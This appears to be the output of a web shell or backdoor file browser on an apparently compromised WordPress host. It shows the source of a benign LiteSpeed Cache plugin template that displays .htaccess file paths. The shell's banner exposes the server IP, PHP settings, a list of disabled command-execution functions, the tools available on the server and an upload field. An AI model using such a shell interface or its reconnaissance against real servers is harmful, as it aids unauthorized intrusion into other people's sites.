| Server IP : 89.39.208.18 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : User : ( ) PHP Version : 7.4.33 Disable Function : eval,./,ln,passthru,dl,system,exec,popen,shell_exec,posix_getpwuid,posix_uname,ftp_exec,posix_uname,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,get_current_user,getmyuid,getmygid,listen,chgrp,apache_note,apache_setenv,apache_child_terminate,closelog,debugger_off,debugge_on,ini_restore,netscript,escapeshellarg,cmd,backtick,virtual,show_sourc,show_source,pclose,pcntl_exec,datasec,old_offset,ctrl_dir,ini_alter,leak,listen,chgrp,apache_setenv,define_syslog_variables,root,diskfreespace,disk_free_space,disk_total_space,posix_kill,getmyuid,getmygid,apache_child_terminate,php_ini_scanned_files,ls,ps_aux,chown,getrusage,posixc,posame,chgrp,posix_setuid,posix_setsid,posix_setgid,apache_note,apache_setenv,x_getuid,e_ini_file,nfo,SQL,mysql_li,t_dbs,filegroup,highlight_file,ilegetcontents,get_dir,popen,popens,pfsockopen,dos_conv,apache_get_modules,crack_check,crack_closedict,rar_open,bzopen,bzread,bzwrite,shellcode,posix_isatty,posix_getservbyname,escapeshellarg,hypot,pg_host,pos,posix_access,inurl,posix_times,posix_mknod,pclose,ps_fill,symlink,id,escapeshellcmd,php_uname,phpinfo MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home3/mahyarcake/./././www/wp-content/plugins/litespeed-cache/tpl/toolbox/ |
Upload File : |
<?php
namespace LiteSpeed;
defined( 'WPINC' ) || exit;
$content = null;
try {
$content = Htaccess::cls()->htaccess_read();
} catch( \Exception $e ) {
echo '<div class="notice notice-error is-dismissible"><p>'. $e->getMessage() . '</p></div>';
}
$htaccess_path = Htaccess::get_frontend_htaccess();
// Check if there is `ExpiresDefault` in .htaccess
if ( defined( 'LITESPEED_ON' ) ) {
if ( $content && stripos( $content, "\nExpiresDefault" ) !== false ) {
$is_dismissed = GUI::get_option( self::DB_DISMISS_MSG );
if ( $is_dismissed !== self::RULECONFLICT_DISMISSED ) {
// Need to add a notice for browser cache compatibility
if ( $is_dismissed !== self::RULECONFLICT_ON ) {
GUI::update_option( self::DB_DISMISS_MSG, self::RULECONFLICT_ON );
}
require_once LSCWP_DIR . 'tpl/inc/show_rule_conflict.php';
}
}
// don't dismiss the msg automatically
// elseif ( $is_dismissed === Cache_Admin_Display::RULECONFLICT_ON ) {
// update_option( self::DISMISS_MSG, Cache_Admin_Display::RULECONFLICT_DISMISSED );
// }
}
?>
<h3 class="litespeed-title">
<?php echo __('LiteSpeed Cache View .htaccess', 'litespeed-cache'); ?>
<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#edit-htaccess-tab' ); ?>
</h3>
<h3 class="litespeed-title-short">
<?php echo __( '.htaccess Path', 'litespeed-cache' ); ?>
</h3>
<table class="wp-list-table striped litespeed-table"><tbody>
<tr>
<th>
<?php echo __( 'Frontend .htaccess Path', 'litespeed-cache' ); ?>
</th>
<td>
<code><?php echo $htaccess_path; ?></code>
<div class="litespeed-desc">
<?php echo __( 'Default path is', 'litespeed-cache' ); ?>: <code><?php echo Htaccess::get_frontend_htaccess( true ); ?></code>
<br /><font class="litespeed-success">
<?php echo __( 'API', 'litespeed-cache' ); ?>:
<?php echo sprintf( __( 'PHP Constant %s is supported.', 'litespeed-cache' ), '<code>LITESPEED_CFG_HTACCESS</code>' ); ?>
<?php echo sprintf( __( 'You can use this code %1$s in %2$s to specify the htaccess file path.', 'litespeed-cache' ), '<code>defined("LITESPEED_CFG_HTACCESS") || define("LITESPEED_CFG_HTACCESS", "your path on server");</code>', '<code>wp-config.php</code>' ); ?>
</font>
</div>
</td>
</tr>
<tr>
<th>
<?php echo __( 'Backend .htaccess Path', 'litespeed-cache' ); ?>
</th>
<td>
<?php echo Htaccess::get_backend_htaccess(); ?>
<div class="litespeed-desc">
<?php echo __( 'Default path is', 'litespeed-cache' ); ?>: <code><?php echo Htaccess::get_backend_htaccess( true ); ?></code>
<br /><font class="litespeed-success">
<?php echo __( 'API', 'litespeed-cache' ); ?>:
<?php echo sprintf( __( 'PHP Constant %s is supported.', 'litespeed-cache' ), '<code>LITESPEED_CFG_HTACCESS_BACKEND</code>' ); ?>
<?php echo sprintf( __( 'You can use this code %1$s in %2$s to specify the htaccess file path.', 'litespeed-cache' ), '<code>defined("LITESPEED_CFG_HTACCESS_BACKEND") || define("LITESPEED_CFG_HTACCESS_BACKEND", "your path on server");</code>', '<code>wp-config.php</code>' ); ?>
</font>
</div>
</td>
</tr>
</tbody></table>
<?php if( $content !== null ) : ?>
<h3 class="litespeed-title"><?php echo sprintf(__('Current %s Contents', 'litespeed-cache'), '.htaccess'); ?></h3>
<h4><?php echo $htaccess_path; ?></h4>
<textarea readonly wrap="off" rows="50" class="large-text"><?php echo esc_textarea($content); ?></textarea>
<?php endif; ?>